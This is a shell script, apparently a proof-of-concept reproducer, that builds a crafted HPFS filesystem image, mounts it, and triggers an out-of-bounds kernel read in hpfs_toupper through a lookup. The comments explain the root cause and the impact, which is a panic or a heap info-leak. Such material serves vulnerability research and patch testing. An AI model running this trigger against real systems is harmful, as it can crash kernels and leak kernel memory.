DF-0864 / run.sh
#!/bin/sh # DF-0864 run: build the crafted HPFS image, mount it, and trigger the # OOB read in hpfs_toupper (sys/vfs/hpfs/hpfs_subr.h:55) by looking up a # name in the mounted filesystem. # # Root cause: hpfs_genlookupbyname (hpfs_lookup.c:87) passes the on-disk # dep->de_cpid to hpfs_cmpfname -> hpfs_toupper, which indexes # hpm_cpdblk[cp] without validating cp against sp_cpinum. With # sp_cpinum=1 (136-byte hpm_cpdblk) and de_cpid=0xFF, the access reads # ~34 KB past the allocation. # # Threat model: a crafted HPFS filesystem image. After mount, ANY user # who can stat()/ls a name in the mounted FS triggers the OOB. Impact # ceiling: kernel panic (DoS) if the OOB read crosses an unmapped page, # otherwise a silent heap info-leak (the OOB byte is used as a case- # conversion table entry, affecting the comparison oracle). # # HPFS is a shipped loadable module (/boot/kernel/hpfs.ko); kldload just # registers the parser (standard admin action, NOT privilege escalation). # # MUST be run as root (kldload / vnconfig / mount). Force /bin/sh. # usage: ./run.sh [de_cpid_hex] set -e cd "$(dirname "$0")" CPID="${1:-0xFF}" # 1. craft the image (sp_cpinum=1, de_cpid=$CPID, high-bit name) [ -x craft_img ] || cc -O2 -Wall -o craft_img craft_img.c ./craft_img crafted.img "$CPID" # 2. enable the HPFS filesystem parser (shipped module) kldload hpfs 2>/dev/null || kldstat | grep -q hpfs || { echo "FATAL: cannot load hpfs.ko"; exit 1; } # 3. attach the image to a memory disk DEV=$(vnconfig -c vn "$(pwd)/crafted.img" 2>&1 | grep -oE 'vn[0-9]+' | head -1) [ -n "$DEV" ] || { echo "FATAL: vnconfig failed"; exit 1; } echo "[run] attached crafted.img -> /dev/$DEV" # 4. mount the image -- on the UNPATCHED kernel this should succeed (the # bug is NOT at mount time; it fires on the first lookup). mkdir -p /mnt/df0864 mount -t hpfs -o ro "/dev/$DEV" /mnt/df0864 RC=$? echo "[run] mount returned rc=$RC" if [ "$RC" -ne 0 ]; then echo "[run] FATAL: mount failed -- image is malformed, cannot test lookup" vnconfig -u "$DEV" 2>/dev/null || true exit 1 fi # 5. TRIGGER: look up any name in the mounted FS. VOP_LOOKUP("x") on the # HPFS root calls hpfs_genlookupbyname -> hpfs_cmpfname(dep->de_cpid). # On the UNPATCHED kernel: OOB read -> panic or silent info-leak. echo "[run] triggering VOP_LOOKUP via stat /mnt/df0864/x ..." echo " (on the unpatched kernel: panic in hpfs_toupper/hpfs_cmpfname," echo " or silent OOB read if the faulting address is mapped)" stat /mnt/df0864/x 2>&1 LOOKUP_RC=$? echo "[run] stat returned rc=$LOOKUP_RC (if you see this and guest is up," echo " the OOB read landed in mapped slab memory -- info-leak path)" # cleanup (only reached if no panic) umount /mnt/df0864 2>/dev/null || true vnconfig -u "$DEV" 2>/dev/null || true |